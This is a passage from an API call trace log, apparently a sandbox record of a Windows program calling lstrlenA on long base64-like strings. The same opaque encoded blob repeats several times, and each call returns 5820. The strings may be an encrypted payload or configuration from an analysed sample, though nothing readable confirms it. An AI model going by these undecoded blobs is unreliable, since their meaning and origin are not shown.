DWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.640] lstrlenA (lpString="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") returned 5820
	[0084.640] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3/LxMMSqfDfZvOTjmXhZO6gf0Yt/OCBChNVb5tWNwHdXVyTigH+9xgQytSKJ9NMmu0XL5dodxhkGNjTJlgdmmHgj8eY9SNf16KdoCq84u6uF6t5NhQpd1YAZnH1000rYOtr8vbD8lJMF1Tb8DgYfpGXCTeuRfTzFIqC+SRLhxsr1q+ntzssL6Otm5WN0Q2QIHKtJEJC0ihG7wD2sMSpC8SJKsIsTfzgzNTgeuzotx89ITb5KiQJaoYYJk0J7rMAVc0StgpbC5gHdEY5cOSwNv8zCH7PYvqSx0sN+J/l/0t0ZpcObGamhpKOtmyTULxenkmvPyOyBi3wJy5daoq9rOiwRjJfeN++QSMU93IKGiylNe6dIBDzbhqm1XUqwrS8rX2KXau+EH9ypf1nh/NIP+FHq3d8O94qIZrpFYBIXLilFkN8QWDVfBEzi0rnA33zlQEjh1sedNVNKxtpDbjr2ij10KXhgm9agdN/WIUiRh2ZAyZC8DzvgQE0kQEk9T24OPDjZ00F1q5SSajlP7brLYPkmXDHGkwpoDcHZEz735QKoa4BSivimzbfyw6iUfoG5qzyvOcYgZoDdy8YdkEniwqV7D7pzWBuYqHJULHsL4RpjUKOEZLFiwevz6uitOs/eZ4ys+yHAdgpV1V4c1c2PnL9DhEGJMCBMkmwkAEZVUhOLVhnalPnwioekw/rf+QLO4I8/dORvBjgkieS1mKk5ekbhhX1CfbD7VTi8zPdRBQvXQQs8A4KGCylGG+2MCtJ4sTOHb/ViG1W5TPEZvi4s+kHQLE6YjPn0APfeIdP86NS1TFugv5h+g7oty4NDRb+WYteWsq4dXTA5gTAfhgrtW4tq/8wXBIj+qUVUbXtuUpeoW/VdBKmDWaWjvQWUaQmjjSp+qavLUb+NTWKAvXjD7xBStoHJ0rN/y1FYNCHxuLhq43rOC6k2QKhyN4A8crOYeXzGZUZ1slwHa63caXpSjrmmASG/V0Km+TBwO7lykEiBGaq7YXXgrwZI2nnt3O/VxoC5i4FJz+vDsKtZw8omqF2nwgBf3xM/l6rpEQUO8AYcOLFQt8r/yW/ikSouhKJ/+4wrD8y+eobJ2aERtJC5jBCsuM0VmoPhzHIeD2F6rZa2dQwgcYn73FlkjWXwB18uyFCTHMkCbvXVycBBM+QcB2RP89DWB96BsyInYy+DF1pjp0fhsiYgvxTAZjIEMbkfNY9cGALR19UbJLEkZe7Yil0deqNMaHMCDwCAxKwFYaauZfp27catSyvvs0Tey9P6BH2foj6Y088YmPaqA5Lsv2dvGyE09CN6Cn+pn8EybUhaH7/6iqTgubM7VsIb1AYNHuKrhTiUg+/fj8lmsNFR4mVfo8AHRSoBmn5FGaUVB46b8PyalJolBNElJB91ekBM3D8AsLEPHxMAbGc/nG9VIcSBOtKCKrxcuPHz/+bvav3V5kMpSPyc/sWbEx7MZiqwYimRkPbKitVtcj/N0CMbWtNTc7ISxvdCxAB8Bks7cZ1Xn7lmzQUxLwylQA4XMJXrwDHE5Zz2QFlxQ1fi5j/nrBWwnQIW85rfG49k5exqhlyQvfVIcoeiWuX2t869wj4ZLI0LO+WycAWIsBCB3HlAGf6xvPsRFArGcoANLPskqEMRwwScf19bIVKI9Phrfq+XEyHllSE1IfVMydxPX9sfRmXFLP4z6f5qZGTMc8e8cGwqAYSes4j5zawjYB0HETHpuwUi4QIJvve0OaJKd+w/KSObipMao2YbIVhUm9c9dnDyDmEcBWIPIlf1BE+cLR6nsqab3rP2E4uUaVtDlSnwDMk0bpidgrONLyWz2t78BreT1QFmHPiyytUXHRMkNmE7G/IlA7NHJldZptETcMq98GD/XmpliedFh3Vm1nPys1N63QdWz2u0ApfgYkNYQI1ZNRDBmRAo9cc/49Jkh6Na4knxVZIthDsC205K+qv1aqXJ6wZ9B3TiYhmGoIjsjlGeKF7nXbztIBEGGtp790iPZvb6hnurXNZaHbiuixr33SPO6yK6o+G/eGA+KeHmp4jm+NwBuL4P1hc2clVcHMLne0fe2Mi+uYSM2beBLczVL1AkgReqT0lUToaOjgIUGAswuOzlQagLxuxiYWkj4M5YkbOtsAY3DAT1q1b44cIvlVZz/fW6yfeaPR1nPj0vJ653chI+qoKnh9h4NGN1gOvH7z9Gvao+Z2YCIfPXCT3Oq5uB/gUNIfWtxXsBntxUcRPONWpADjWWTjhqO6xPN9mcRCh6LSbWaazGC+oHawwVAZjhVu2LUiuq9a76xZM9XDVUDnBZKQtJqsRlkfQ4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.640] lstrlenA (lpString="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